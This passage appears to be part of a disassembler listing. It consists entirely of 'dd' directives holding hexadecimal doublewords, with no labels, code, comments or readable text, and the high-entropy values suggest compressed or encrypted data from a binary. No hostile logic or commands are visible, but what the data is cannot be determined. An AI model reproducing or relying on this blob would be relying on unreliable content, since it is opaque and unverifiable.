		dd 0CC653B40h, 0C8168E4Bh, 6603B809h, 88C9172Fh, 16D1CD99h
		dd 0CF27A9h, 0D3672D0Fh, 4B00246Ah, 0C73D9C15h,	388712h
		dd 0E1B5358Eh, 207B3AD8h, 3C5A101Ch, 0A14C2FCFh, 0EA9E0942h
		dd 0C732D8h, 14FB89B0h,	3CDDA53Ah, 0A75DD901h, 932156D8h
		dd 0B795A0E3h, 20B80010h, 8CBF553Dh, 7E0007F8h,	407D42FDh
		dd 505AA41Fh, 722BF1DAh, 25180EA7h, 8CE0336Dh, 0C81E1479h
		dd 47895C00h, 9298714Dh, 4ED51D64h, 7D2E40F1h, 0E637DA78h
		dd 46B9C400h, 4B363A3h,	0BCB41CD0h, 0DDCEC0ECh,	0E06F25DFh
		dd 7668EA0Fh, 603E4E20h, 3B644E2Bh, 487109h, 22759166h
		dd 0A9944487h, 15BD8900h, 79566AA8h, 3A430913h,	5900DBB3h
		dd 0A2580693h, 1D52FB00h, 9E947E59h, 1E3600F5h,	0CB349525h
		dd 0AA003308h, 0A7E4C068h, 0F27AC322h, 2BE00051h, 6B0D85E6h
		dd 0B03F1F6Ch, 6919DA4h, 0F64C880h, 4815F4CAh, 0C4002940h
		dd 24269DF7h, 8D00090Ah, 6B5867EBh, 0E106F0h, 86C403AFh
		dd 912C2040h, 2A621D01h, 4F28023Fh, 0B866F8h, 0A2F49C92h
		dd 1C575E09h, 0DF956700h, 729A3F2Eh, 0A1651C96h, 0B2444140h
		dd 70CAFDE2h, 1A07551Bh, 74B66068h, 8C9C9ED0h, 0B99D0042h
		dd 0C8596D4Eh, 38C01CECh, 0CAFC4F7h, 54D20050h,	2C634585h
		dd 4100723Bh, 154A0B4Fh, 355ECBh, 70AC4EA8h, 5FD5BD1h
		dd 95796406h, 90740B9Dh, 11FEE7h, 2DAD3FB5h, 0A66E64E7h
		dd 0A410500h, 0E3AFB666h, 3C6AF609h, 0F300FCBBh, 1354B0Bh
		dd 9800FAC6h, 0C046D13h, 901C4E06h, 0A4AA0075h,	8DB8F011h
		dd 2400640Ah, 0F243AB04h, 15007DEh, 0FF5F6AFBh,	0DC45E2DDh
		dd 0B80BF7B9h, 80CE9504h, 0C451611Ch, 3DBA0EA4h, 0AE7C5F0h
		dd 386A8088h, 3C039964h, 0A0108DA8h, 0D10B1DACh, 423483F2h
		dd 14D8B2D8h, 0EF486A4Eh, 27400086h, 96554152h,	4D050775h
		dd 0A054BA08h, 0FC7328BBh, 68008C74h, 6B2F135Ch, 4E5142h
		dd 0D55247C2h, 0DE9DA396h, 43DA4100h, 77A98F27h, 2DAC00C5h
		dd 3A1DA6DFh, 7E009D30h, 0D76967EDh, 13CA6Eh, 588DBADh
		dd 847D8351h, 76818700h, 0A19BCCB8h, 2D900089h,	98F50CE6h
		dd 0D7975F4h, 0BB167B00h, 310157FDh, 0C353064Bh, 662230EBh
		dd 130073B8h, 90FA0681h, 53B858h, 0AB2CDC59h, 30680D1Eh
		dd 3E25E93Eh, 0FC059C73h, 0EFC350C1h, 70E4BDB3h, 0F2213EB5h
		dd 34232CFFh, 0CD00F37h, 604485A7h, 31382433h, 80522831h
		dd 54E41940h, 87C99h, 144B2C11h, 7955A41Ah, 74A17D07h
		dd 8B9303E8h, 0F60AB024h
		dd 0B35300DDh, 5010255Bh, 0BEE60D5h, 0E2308300h, 9750E01h
		dd 487E00FFh, 0A7521AA1h, 400D50Ch, 62BEE0DEh, 8153A0h
		dd 438FE831h, 3325D16Bh, 0E909D275h, 0EBB4B47h,	0C8EF80D3h
		dd 0EF26610h, 0B40A657Bh, 0AF80FEEEh, 5312EC43h, 295EEF0Eh
		dd 7206803Ah, 7BA2EAh, 7885463Bh, 0FAFFD11Ch, 0D76C0E03h
		dd 80FE4F0Fh, 472A7Ch, 7E8BF633h, 62C074C6h, 52605307h
		dd 0D1B77718h, 0C297BC0h, 12440F9Fh, 0CC20F804h, 1A4626FFh
		dd 0D9754F01h, 0A4DC4381h, 7FF59AE8h, 1C2C072Ah, 30D6AB18h
		dd 373FE828h, 1AC758h, 0EC99EA24h, 5FA858h, 264C4442h
		dd 5B2DAF53h, 0E094D500h, 3B1C98C4h, 74F9A0BEh,	547300ECh
		dd 3ED6AA20h, 5198E2C1h, 5F184300h, 89652E7Ah, 545E0B24h
		dd 360040D0h, 0E40594B1h, 7E75D40Eh, 81CC3A1h, 4842C020h
		dd 50EEA6h, 19D0DC7Ch, 0D3245303h, 70463700h, 18C2A028h
		dd 1834FA89h, 5A12FF82h, 0FC00AF74h, 5F39DB31h,	0D8E2B0h
		dd 7E1DFD94h, 7CF60542h, 82000EE6h, 680AA21Ch, 974A18h
		dd 40A5EB63h, 37148D3Eh, 4BC23B00h, 0B2D6FB7Dh,	0EE7717h
		dd 910C1867h, 0C7D7C6B7h, 0AFC8A500h, 7F95A215h, 0B0040017h
		dd 82D4BC92h, 1C007B29h, 0E0E8515Fh, 0F303231h,	330A440Dh
		dd 9B0C960h, 3B02010Bh,	67D1C50h, 49DB608Bh, 9076010Ch
		dd 78C3C129h, 7EB8304Ah, 5A8C081Dh, 7F56CA40h, 1749BBh
		dd 48DA1A32h, 71546CB9h, 731F9E7Bh, 3D817256h, 75D13C89h
		dd 868042BCh, 2C438890h, 9C71BE97h, 4548CB00h, 58FDAD80h
		dd 0CA1F2820h, 0E81201E8h, 94684693h, 7034E4D8h, 7E0E37F6h
		dd 0E0B7C11Bh, 0FED74E97h, 0F7C0302h, 6D3D7AF5h, 601F4DF8h
		dd 0D2F13304h, 3F822D37h, 88B3638Ah, 0FA092h, 2808FD16h
		dd 0E29C5E48h, 0FE00187Ch, 24B6BA8Ch, 4E99E1h, 3172403Bh
		dd 20A621EEh, 9028A900h, 8DFEF55Eh, 54BF001Eh, 51C4D9A0h
		dd 4470AB0Fh, 1C4BFF00h, 38BB5D9Dh, 0FEA7132h, 7607B91h
		dd 149500D7h, 0AAD504F0h, 0F7303Bh, 5BDE97D1h, 107EB8Bh
		dd 5DC9CAD4h, 0E8871067h, 0D50027E9h, 18D02325h, 2EDAED84h
		dd 3F70A56Ah, 46FDC580h, 8E4769EAh, 0C3A1F400h,	838006C6h
		dd 5198FFh, 0EF37107Eh,	0C4AA142Ah, 638A5D0Fh, 351E977Ch
		dd 2FB42480h, 43D2D9h, 0CED555Ah, 70571908h, 871D79FAh
		dd 54CF2088h, 803C004Ah, 638A551h, 58A2B891h, 89000B15h
		dd 88BC461Eh, 0EA4E5690h, 1877F2h, 0EB1AC0Ah, 772E6D41h
		dd 706A6200h, 7899DF60h, 14510010h, 22836350h, 7D5C4161h
		dd 73760E0Dh, 0BF67606Eh, 44704Eh, 680E4A19h, 47667157h
		dd 407C4100h, 6E727660h, 4CE900F9h, 6BC47ADDh, 6409F07Fh
		dd 80A66974h, 534018CFh, 48770061h, 0B37C577Dh,	4E019046h
		dd 7BE16ED3h, 62F89E67h, 8E700EF9h, 0FF1C1743h,	826C6F1Fh
		dd 603B7165h, 731ECBC0h, 5F697D02h, 0E09EBE44h,	1E20AA15h
		dd 800E1343h, 522A6670h, 71000C9Bh, 0EE4A7A73h,	0F888DE65h
		dd 1243001Ch, 3637E72h,	61776D55h, 0B0604A00h, 0F07C6462h
		dd 67700166h, 460E4486h, 5276EC0Ch, 45B0711Ch, 743961C2h
		dd 6EF6E063h, 0C7D81DADh, 66F1404Dh, 76CC6A4Fh,	77146400h
		dd 0A288477Fh, 0C12A000Dh, 2E54720Ch, 4B000E73h, 0EA6F4363h
		dd 581862h, 6C1C6847h, 77875166h, 31706B00h, 1D466365h
		dd 74487140h, 1F077972h, 80615167h, 74945527h, 88070F28h
		dd 4AE36F54h, 6E40E29Eh, 0D373E06Bh, 429E0078h,	13048FEh
		dd 6A0E654Bh, 0C7636961h, 0D3E128C0h, 87C421FBh, 0F860F834h
		dd 681E009Fh, 486E38BFh, 95073052h, 1447CA1Ch, 3741150h
		dd 61670046h, 60886376h, 8BA05677h, 6D000A62h, 7AA87D66h
		dd 0E851F0A1h, 0AD210070h, 296F3A30h, 0E0FE626Bh, 9E68573Eh
		dd 0EA0BE276h, 24C8045h, 3140E65h, 1830A560h, 48B07742h
		dd 0B6006C63h, 74417289h, 613A71h, 1C0696Bh, 7A7B6DCBh
		dd 0B7C24400h, 5A0D10DCh, 0E01C7AE1h, 0B82A0175h, 0E639C31h
		dd 0A92FC8B9h, 80B3C400h, 7E2ABB5h, 84CB00A4h, 0A642143Ch
		dd 0BC009996h, 642D45E5h, 382ACEh, 7B2B4CE4h, 406A0B86h
		dd 0BB505Ch, 44A19946h,	7D0D3951h, 14101E15h, 67FC80C3h
		dd 28B4C28h, 3D00F00h, 0C2203C50h, 17403AF6h, 21742B80h
		dd 1CA73E16h, 0BA98FF00h, 61C40775h, 1D4775F7h,	0C2D1658Bh
		dd 0AC95C031h, 0E35E4DE0h, 51291800h, 1B147945h, 0D2380457h
		dd 81E7E0FBh, 60F1FFD3h, 24007CB5h, 2D46DD69h, 0EBFF497h
		dd 0D55349Fh, 0F7A42520h, 9178C912h, 14B8801Fh,	8C850F00h
		dd 0F2AEB19h, 0CE906544h, 7481644Fh, 71830E54h,	0D020CD66h
		dd 1A004240h, 122E3C32h, 262FE175h, 1C8FD16Dh, 0E861C085h
		dd 0E6AC4A5Fh, 1A552800h, 23224653h, 71110E44h,	528033B2h
		dd 35752B03h, 19998D00h, 0BE15811Dh, 0D0FA00A4h, 53451BACh
		dd 9000C343h, 4ECC175Ch, 0B140A8h, 100E5BE5h, 0ECF17A24h
		dd 28B80AEEh, 58A01A00h, 1BE82654h, 8BA71D76h, 0BED10069h
		dd 0AE173B19h, 18F58900h, 0C35B02D6h, 884E0055h, 3B975E9Dh
		dd 0C000F2DFh, 0A5CBDB1h, 7A768B25h, 0AA830E12h, 5A204E7Eh
		dd 7AD026BEh, 2844B51Fh, 1100B8D3h, 0FC5D8E40h,	335C2C8Ah
		dd 183A0043h, 1B10475h,	3FE9EB00h, 84ED1C80h, 1DF807C9h
		dd 0F0C2FE9Dh, 7A325434h, 0A556EC00h, 93FAB2AAh, 8F8100AFh
		dd 0C84BBA75h, 0EA00C434h, 4F7DF7FEh, 25378AAh,	8CA82F21h
		dd 436084DBh, 0FC7A46E9h, 930157F0h, 0C40C21CCh, 0B8C7C890h
		dd 1C248D4Ah, 0C0BD86F0h, 511216FDh, 0FF7D42B9h, 10FBA100h
		dd 88FEF822h, 0DFE90F41h, 0B3473E6Ch, 0EBA5815Eh, 0F0BAF0B4h
		dd 0CCB70100h, 0BDBFE02h, 8B170074h, 4ABF5CC3h,	760F09F8h
		dd 545DF0Ch, 0FB80EB0Fh, 2D6995h, 0E885D959h, 49BA1E37h
		dd 5DCCC300h, 0F07D833Ah, 0EBF93D10h, 365097h, 0D9028E0Fh
		dd 0C80F6CADh, 40160615h, 0EA9674Ch, 11758Dh, 0B7987827h
		dd 0C514D885h, 3C958700h, 0A15DAF9Fh, 8D5601B1h, 43CF49B5h
		dd 1B2480C4h, 0CDC340B9h, 47823C5Eh, 1B66A12h, 7F17FB56h
		dd 851EC422h, 0BC49403h, 0D0763F0Fh, 0F4BA3437h, 8C310053h
		dd 1CEB7FD8h, 0C02C3C90h, 27002784h, 558BF1B8h,	0EF360006h
		dd 26DC4522h, 0E8000A10h, 82D4BF3h, 32FEF4h, 8A2FEC2Eh
		dd 0D76219D6h, 830003E6h, 8EC1A5F8h, 14546C6h, 6EB029DEh
		dd 0C8305399h, 2600567Eh, 82502D13h, 259C7DDh, 44B3D375h
		dd 0D3C095BAh, 400A58Dh, 4FF53FEAh, 8C7CFFh, 42297AE9h
		dd 34288B01h, 0F0210407h, 0C70515Eh, 15F4F48h, 9B5A0F7h
		dd 0D8FE3020h, 603C3E57h, 6C5E8051h, 11790114h,	4A0F00D6h
		dd 55D0DCE9h, 743EBD56h, 2BDA80BCh, 40722EBh, 8053B84h
		dd 12410C01h, 0E028C310h, 0F600D311h, 1CBA2F13h, 3455251h
		dd 87A2EBC6h, 0E4A0BFE5h, 0AC00F24Fh, 6C7E8086h, 1A7434h
		dd 512F822Ch, 0CEB5E4Bh, 800377Ah, 0ABC66F8Ah, 0BA91C93h
		dd 0CEAF8B5Ah, 90D35707h, 16B5D1FDh, 0DDAEFC00h, 0DA96AF4h
		dd 1BEE004Eh, 0ECB34F89h, 0C0047D8h, 0B45EBD03h, 0D224BFh
		dd 60923949h, 9F6BE41h,	32E6B07h, 9E30E4BCh, 0D31840h
		dd 244C283h, 0DCA12550h, 805D203Eh, 80D0FF04h, 6583F0h
		dd 0B106FE3Bh, 76BE695Bh, 6EC0FA00h, 73BF1210h,	0E333000Ah
		dd 0D854045Fh, 0A90352EBh
		dd 257435A4h, 6D069022h, 905A007Fh, 0E99527C3h,	8900AAFFh
		dd 821B4E42h, 0EC0257EBh, 0B8D3F5D6h, 5098F23h,	12D5BEDBh
		dd 0B4B00092h, 837825E9h, 46EC600h, 0E0EB72B6h,	7C75038Eh
		dd 14AEA1A8h, 0D99548A0h, 0EE000E4Eh, 279F2838h, 16770756h
		dd 0E7EB2DB4h, 0D92A62F1h, 0CF228E60h, 0CEFA3300h, 63B87924h
		dd 76DA0049h, 0D428B921h, 0B7007599h, 432FD9B2h, 2356A7h
		dd 464592EEh, 690C16EBh, 30B3B00h, 24CF2BCAh, 0DF8A006Fh
		dd 0AE4927Ch, 0A000275Fh, 91F333Ah, 0F383C50Ch,	0D8C8E931h
		dd 1E993EB5h, 82920E00h, 0EB68422Bh, 75014F00h,	3C6D2859h
		dd 96E60025h, 0D4DDC30Ch, 80072089h, 1DC0267Bh,	0B50098B7h
		dd 437EE0h, 0F5AC921Bh,	0B0C1D73Bh, 450C532Ch, 0EFC25000h
		dd 437FC6h, 2856A9F9h, 8F7D0EEh, 0A8517A00h, 2DA6D3AAh
		dd 8C4D005Dh, 0BF156726h, 13007387h, 3FE5F685h,	7031188h
		dd 0A4BC625Ch, 0E08DF7AEh, 0A9841D6h, 8024683Eh, 0FA92A97Dh
		dd 0F4C5E5A6h, 19640F34h, 0A500A8BEh, 358498F2h, 28033372h
		dd 9D863210h, 0E628039h, 7A2C1D11h, 8158CA2h, 2B7D4F0Ch
		dd 28783F03h, 0A90C5820h, 63C510AFh, 75D0EC0h, 0D7B153C5h
		dd 294E00B7h, 3E037654h, 7D7A47D2h, 717CF190h, 609825E0h
		dd 8563822Fh, 6B006E96h, 0EC3DFB4Bh, 1E4C52ACh,	0EEAFF5DBh
		dd 2EDC0941h, 3752880h,	0D7B850B3h, 6899D500h, 2C78B22Fh
		dd 49F2015Dh, 0E27BCDE1h, 0A391F004h, 1253430Fh, 4EA2A0F0h
		dd 29C6F5h, 4138DA0Ch, 0C7FD04D8h, 4FEC3F00h, 1E4319DFh
		dd 0C3E809D6h, 880CA07h, 1AC11BC9h, 21B9F58h, 9C18153Bh
		dd 1254E047h, 0C550001h, 9FAD0575h, 161F8AF4h, 8414258h
		dd 1A91CB03h, 0AF46FCh,	0B454BF2Ah, 0D5E868E1h,	0B9CC8900h
		dd 8D6C2730h, 527E003Ch, 0A7EC044Bh, 0E400E85Bh, 104914D5h
		dd 0A0DA2Ch, 0B619890Ch, 0FAD0FB04h, 752D3C01h,	0E2F0D1F1h
		dd 721C64D8h, 0CC7B0024h, 15D63479h, 0B3003E35h, 64658420h
		dd 384E3Dh, 0DC5B6C21h,	91879D68h, 0A4A22404h, 4EC09015h
		dd 71E4CB2h, 5C7AB3FAh,	0AC6607Eh, 0EB07EE47h, 0D7FFE215h
		dd 0DB497190h, 45170314h, 0A130306h, 2E77F098h,	48F0F2ABh
		dd 4A3E6FE5h, 816A3A8Ah, 0EBFEC134h, 9A70F31Ah,	0FF0A00C0h
		dd 0E4390855h, 0BAFE7347h, 0E0257F00h, 5ADEF7FBh, 45600728h
		dd 618A6543h, 0D94CD0A8h, 68E8EB85h, 4D9C7DE0h,	84A22C06h
		dd 1CD6EAC4h, 0C0096422h, 0BAF5784Ah, 0C400EB0Ah, 0B6E83C80h
		dd 4CC1E924h, 11DAEA7h,	0A9840003h, 8AB08805h, 0C0001CE4h
		dd 80CA8B2Eh, 7E690C1h,	0C7D31EE9h, 40FAE70Fh, 0E1040675h
		dd 72102C00h, 0B0368332h, 0FC3A0090h, 0FCCFD20h, 8100FB92h
		dd 83D02BB9h, 2CDD05EAh, 395280C2h, 65E8F980h, 488E3763h
		dd 308DEDE5h, 3A0E51B3h, 0BCC990A8h, 68A1C07h, 1757ED1h
		dd 0A0881FC0h, 0F2EB3CF2h, 4FC0032h, 5C9FB9EFh,	42006C4Dh
		dd 0FF54BB17h, 4722B87h, 46F302D8h, 0F880EE89h,	3E0313A4h
		dd 1D004D93h, 7601C71Ch, 0EBE09237h, 0E93C1703h, 0D00467C0h
		dd 3F052AC8h, 0EE82B14Eh, 8DABAF16h, 0CC7EC0DFh, 720904E8h
		dd 80F6D48Fh, 3DD3BD3Ch, 0D1242EFAh, 0C6006A71h, 1237E903h
		dd 2B9600AAh, 108DE776h, 3A0075B8h, 0C45420A7h,	1F2C0F3Eh
		dd 0C4097202h, 874A0CFAh, 0D0A3B0CAh, 2D008319h, 0B4CFCCE0h
		dd 66ED10h, 0F8AD68E7h,	851C7DA4h, 0CCF4423Dh, 7B301D4Eh
		dd 3F13DAEEh, 185C4D02h, 688E0E8Ch, 0DE26001Dh,	7DF8C549h
		dd 0D2E20300h, 7F242305h, 29700A1h, 0E0F9FDF2h,	0EE007EC9h
		dd 0BF82D8ADh, 0ABA3E8h, 0EB058567h, 0F516031Bh, 0CFD7EA00h
		dd 0B8AA5584h, 51271E91h, 0E8D04040h, 0B2566F20h, 7396DD05h
		dd 5580DF44h, 77FFA2h, 75CBFB59h, 534FC04Eh, 92747F24h
		dd 1800E024h, 0DE4BE810h, 9E140E12h, 68AF9608h,	0EB1E0AE0h
		dd 0D20B9349h, 803FB0A3h, 0A850EFE1h, 4A170094h, 7D5F32BCh
		dd 11008279h, 41C9945h,	3F1ADA0Dh, 130ED1F5h, 6C60B3C7h
		dd 45AB85D8h, 14934400h, 1A42F883h, 0AE7F7Fh, 47498476h
		dd 88D6CB55h, 23517100h, 54B88A3Eh, 37320025h, 3CD160B2h
		dd 5300F71Eh, 14421343h, 797AF1C1h, 0C89C0076h,	0EA2C7E4Fh
		dd 0F5004B1Eh, 8F8C04CAh, 4CBFA749h, 40001B32h,	0F8D7F484h
		dd 6500929Fh, 0D43DAF3Fh, 496659h, 0A9A44526h, 47441653h
		dd 0A69DAE18h, 0EC550Eh, 0ABF00798h, 3B06E98Ch,	75E89300h
		dd 0D9E23AE1h, 84503D4h, 0A7C77632h, 0FF96EBE0h, 4F127A1Dh
		dd 0AA39C4C0h, 24F46C58h, 3B184487h, 8130299Fh,	463B03D8h
		dd 0E43AE881h, 0AE1756FCh, 8500F1E0h, 342D220Dh, 85000CCh
		dd 0DED4BA04h, 0B400E542h, 6B1CDAB6h, 74AE9046h, 16A11F8Fh
		dd 7CA88E8Bh, 0CAFC5B60h, 920034F5h, 1C5815D1h,	0E3AC6Eh
		dd 8F433614h, 8C9C46A2h, 8A40F101h, 814A3B08h, 603D840h
		dd 428D0050h, 4D98EA0Ah, 2900E8F0h, 845E575Bh, 0A0D2754Bh
		dd 0CCED8Ch, 0F0BE481Ch, 0B3AE8C0Dh, 9AFC6A00h,	7FE7F353h
		dd 0F5DF03AAh, 7A8D7B58h, 22B5780Fh, 2FA4035h, 0F3F4CB8h
		dd 2FBF0142h, 53A22A00h, 33001034h, 6547E788h, 3D180C04h
		dd 0AB805249h, 41B26CECh, 0F586E34h, 70690052h,	37AF60A3h
		dd 2162005Ah, 1D6B400Dh, 0DB3B2B88h, 0C805003Ch, 0C4156550h
		dd 0BF77E9h, 0F12F40Ch,	95845D85h, 3C3E9A67h, 0C74E30C7h
		dd 43501C6Ch, 494E38h, 800EF8FCh, 7E9AD9Dh, 0EC007571h
		dd 0D43808FDh, 855FC9h,	5EB133A3h, 0BAA068FCh, 119E3202h
		dd 0C054DF08h, 7E14DE57h, 5C69006Eh, 4F77042h, 4F5C2A6Ah
		dd 300D1FD0h, 0B01C8700h, 1F625FD6h, 0E651C8h, 702EC949h
		dd 0A10378BAh, 0A3015785h, 954ED020h, 0D34900C4h, 0BAFD561Ah
		dd 541E4406h, 7B43A155h, 0B8503CB0h, 1CE00B04h,	80A80858h
		dd 5B4C53E8h, 0C400C98Bh, 0C62D4B9Bh, 0FE48475Ah, 706C0161h
		dd 0B8877B34h, 8350DDA1h, 3899940Fh, 42F397B2h,	430B07A0h
		dd 323CC8D1h, 6F000AD8h, 243D05h, 7728C342h, 6119CA17h
		dd 4015BA00h, 9504890Dh, 3C39EC6Dh, 0AC804582h,	0BE51C270h
		dd 0B8004929h, 0C61744BBh, 4A407Ah, 3BD2AF24h, 33F2B911h
		dd 0BCB37B16h, 0E4751600h, 0BB6FF5Ah, 0DB2493B8h, 302D6580h
		dd 0DC00EE0Bh, 0FB832E57h, 0A32259h, 5CDF1198h,	733DB092h
		dd 0DEA7021Eh, 9521E42h, 6821C013h, 1E50084h, 0C419FED5h
		dd 0BA0005C8h, 0CB5F4F1Ch, 2B82B54h, 0EAA2E809h, 0A2C1CA03h
		dd 30F1600Eh, 5F58A37Dh, 8BBF0094h, 0CCE8DDD8h,	24BA070Ch
		dd 0B0CF6D38h, 467154ABh, 8EC2130Eh, 0A0F12F10h, 204DE4E2h
		dd 3CF87708h, 22584354h, 0E80FEC00h, 945E6A0Dh,	41FD301h
		dd 1CBE6096h, 31FCBD40h, 4C5001C0h, 0A80E6802h,	7FAED4AAh
		dd 3FFFE400h, 0E6DE9481h, 10793CDBh, 0B881D53Ah, 6DFEBDAAh
		dd 3CC0200Bh, 500A6500h, 86EA015Eh, 55D404E1h, 80FF31F5h
		dd 40DEDDB3h, 51118300h, 5C196795h, 107F001Fh, 0FEFAF876h
		dd 0CF031896h, 0D6148E60h, 50FCF072h, 0D5380088h, 8702BFEDh
		dd 8D26559Bh, 0B300E052h, 507A366Ch, 0FE3500F6h, 0ADD66AF9h
		dd 5002818h, 47CA0CC1h,	4FC8D53h, 0C6297BDFh, 0F09587DCh
		dd 0A94FFD0Fh, 0EAE1AB00h, 0FCD4A7FEh, 3F750029h, 12E653FFh
		dd 0ECB064A4h, 3FF4FA4Ch, 0E9098082h, 22021845h, 0DB313D53h
		dd 0E5E8B780h, 0E2ABC8A0h
		dd 3F61F600h, 750F09C3h, 5D7D07h, 0B355565Ah, 0D14B1620h
		dd 810CEA3Ah, 527333D6h, 0EB20077Fh, 114000B4h,	31577242h
		dd 43F8484Dh, 9729863Ch, 0F3002625h, 544CF20h, 0B3850266h
		dd 7C080C2Ch, 3B4C980h,	2B1F4BD6h, 0B0000A60h, 0C8022E18h
		dd 3F800F06h, 0DC01353h, 2008101Ah, 4AA64126h, 3ED0003Fh
		dd 2440D848h, 0C2790950h, 38805F86h, 8E0E7412h,	28824C01h
		dd 0C780D231h, 0F7E2C8h, 4101028Ah, 0F686140Bh,	7570E000h
		dd 0DE3C58F2h, 7637723Ah, 3378F7h, 801F7BCDh, 44470FF8h
		dd 73C6F600h, 0A3A5275h, 0E6B37740h, 54D30F20h,	5C401460h
		dd 612BC889h, 817A4400h, 586A07E2h, 0F0C43FE4h,	781CC91Ch
		dd 40CEDC60h, 1001DF6h,	10B77538h, 1C9EBA3h, 39F00A7Bh
		dd 0ECC156CCh, 0BC00FA04h, 869460A0h, 0EDEF69Dh, 3FAC8313h
		dd 0D089AD00h, 807DCDEBh, 0A8201E00h, 0EA7D901h, 0A2F10021h
		dd 0CF02F2F0h, 0AC3910B8h, 0D06A4A4h, 1A24D904h, 669CFA81h
		dd 7397B0FBh, 0C4883C05h, 0E072500h, 0F62FCA5h,	0EA7B8401h
		dd 2F2985FAh, 0E0499F0h, 0E03906ADh, 32C30720h,	172C7440h
		dd 1739997Ah, 74126601h, 0D9075913h, 804B49BFh,	5BBCE94Bh
		dd 0A41002EBh, 6143536h, 222AD880h, 480FC8EDh, 0A0026433h
		dd 0BD105CCBh, 0E8E00B70h, 9407A326h, 2A271FC4h, 3E45A01Bh
		dd 5500A98Fh, 0D84BC179h, 0DFBBF3h, 0CED2031Fh,	0F25B64BEh
		dd 0BCC45424h, 791B200h, 4A0250h, 18066C74h, 3FEB2880h
		dd 1D8D3700h, 0FFEEB90Ah, 91FCE340h, 0CB3104E8h, 0C0EB7460h
		dd 362C13E9h, 230311E8h, 5BD24C30h, 0B0E8A097h,	5A8A098h
		dd 0D4370734h, 20358BB2h, 0EC0DC402h, 318E800h,	3C836F11h
		dd 0B91200A1h, 0B1437194h, 76003689h, 0C2230FC0h, 0FF4BA14h
		dd 0ACFE2F70h, 1588E200h, 32003A8Bh, 809DA2C8h,	49A03Dh
		dd 0ECA11A74h, 509E5CB9h, 32872900h, 0FF10280Ch, 81A60015h
		dd 5854C35Eh, 2000B22Ch, 5FB7DA36h, 3E94099Ah, 5EE09332h
		dd 83F07072h, 0E224B90Fh, 34801E1Ch, 5A7CA63Eh,	0AEF90312h
		dd 1BCD0854h, 0CA27F8E8h, 6AF59004h, 0BB878405h, 0B464FCE0h
		dd 0E0C3C72h, 0B844007Bh, 0C0507076h, 171EB4Ch,	8C66C700h
		dd 8304A8D8h, 0EAE90010h, 0C3FA3265h, 0E5005E75h, 186C644Bh
		dd 6288E8h, 98580F1Ah, 28682BF8h, 54059A0Eh, 66007C8Fh
		dd 20CD02EBh, 2D500E89h, 2098C75Fh, 1E00A2D7h, 9A84B58Ch
		dd 0EC3EAh, 4647BE66h, 4A4DBF83h, 0E81A0700h, 57ECF391h
		dd 81C32C69h, 7422097Ah, 0B5408300h, 0C0010A6Ch, 38F640Ch
		dd 3DDCD0BAh, 5CC10042h, 525051C3h, 8807EE66h, 942C4AE9h
		dd 0DF2D62D0h, 0BE5C0021h, 9EB0734Bh, 0AC3C6942h, 0F25850h
		dd 0E23B358Dh, 0FA01318Eh, 3463007Fh, 0D7EE56AAh, 3600A5B7h
		dd 0C67835Ah, 91D6F2h, 9A65E28Bh, 9F480DE0h, 0B3805107h
		dd 0D9250F4Ch, 2ED778C0h, 0C31328C0h, 0F99D00EDh, 434907D0h
		dd 0A650545h, 0C4C34E04h, 0E0158B0Bh, 0EA5657h,	3685944h
		dd 30058B64h, 3C148500h, 421904F2h, 0C4080F02h,	4B80A829h
		dd 96E88031h, 0AEE79404h, 0E7855491h, 0B27862C0h, 1859005Eh
		dd 0FE6A8B29h, 2713ABDh, 8624FF00h, 27C067C7h, 33CB0E68h
		dd 88091DBh, 0E8507417h, 62005AFCh, 0F207E688h,	97D36Bh
		dd 51759BB4h, 1457C922h, 0A2199513h, 0FBEE12h, 4CBBD4DEh
		dd 600F713h, 560B245Bh,	1CCB3A73h, 9F92EBA7h, 403B1F3Dh
		dd 5C6ABA0Ah, 3501FF4Fh, 93E1AA2Ch, 768006A6h, 8FB6751Bh
		dd 503AC297h, 11EC805Fh, 3CF40E61h, 582F0064h, 74C1487Fh
		dd 80FAB89Fh, 0FB4F7D00h, 9536D0D6h, 1E40087h, 2410497h
		dd 0F5162575h, 0C702F45Dh, 409AFC54h, 0EB4599h,	0F97C1A18h
		dd 8A850B0Ch, 0AA1E017Bh, 8D402E59h, 68EC552Dh,	57B3004Fh
		dd 0E2AEC583h, 343E1215h, 0F6D2AC75h, 0D840501Dh, 4C32FFB3h
		dd 8A60083h, 962E5CF6h,	8EF87193h, 221FEC7Ah, 0B44F4175h
		dd 2B3960E4h, 705F1BC2h, 0EF8F17Ch, 83F41D11h, 16158EA2h
		dd 784C2DC0h, 80005C4Ah, 58053B09h, 0EE7EBDD2h,	95043D28h
		dd 0EFEB0B92h, 0CADF1905h, 0A8963BC0h, 424B01D7h, 153B1249h
		dd 0E10EF0A5h, 683C7700h, 2E855274h, 7FD70059h,	756E8441h
		dd 8006604h, 4A92BE69h,	0E26B5B10h, 0F313E2E2h,	19C4B8DDh
		dd 2C874C76h, 2078840Eh, 0F4285E4h, 97801F10h, 41B42C3Dh
		dd 18BC16AEh, 45AC00BFh, 6E756F46h, 904F6400h, 0C27288Ah
		dd 0B1383EFFh, 96BD7800h, 50101560h, 5CBF5300h,	0FD702FC9h
		dd 1A0B00A0h, 0AB4C0503h, 1500CA8Ah, 121F71D1h,	2B50296h
		dd 89F4F287h, 0CAC00D14h, 680084E9h, 0A177EA90h, 490894h
		dd 143EA259h, 0A30C6674h, 314F300Eh, 1F35CFBDh,	50222C00h
		dd 166856h, 510EF57Ah, 0A0ED7E44h, 0B5022AB0h, 50093195h
		dd 32836068h, 0DB5D0303h, 0A559974h, 2EB20400h,	684C2B7Ah
		dd 13D7614h, 66400885h,	0CCA8D753h, 5C6761EDh, 0ACC01C20h
		dd 6F05065h, 62E1B857h,	1E00A03Ah, 6A04C80Eh, 3C8B421Ch
		dd 1B808980h, 472052D4h, 123B9028h, 9734CFAh, 0A94CFh
		dd 53BE23F0h, 85E0058h,	862A840Ch, 0F107B878h, 0A33C201Dh
		dd 3410801Fh, 5CD6490h,	364911A1h, 24810FA8h, 5B382C00h
		dd 5F0265D4h, 44BD2953h, 96C320h, 0B73490CAh, 72D652A8h
		dd 789CF800h, 0C1E5278Dh, 4CAAA012h, 0F613B888h, 0EC3700BEh
		dd 9075DBD5h, 741DCBF0h, 40036244h, 0D77C8B52h,	0AB782AB0h
		dd 0D7A70397h, 0CCD8A504h, 509D0C90h, 53710300h, 82FB37D6h
		dd 562E003Eh, 75662F0Fh, 54003BAAh, 0E0D63A90h,	0D7BC5Bh
		dd 0A1AAC9Fh, 4410044Fh, 0B34C8F00h, 0FE91C690h, 0EADCE9ADh
		dd 0B8323D60h, 0E6B90380h, 69283013h, 0F35FA401h, 25FF3BABh
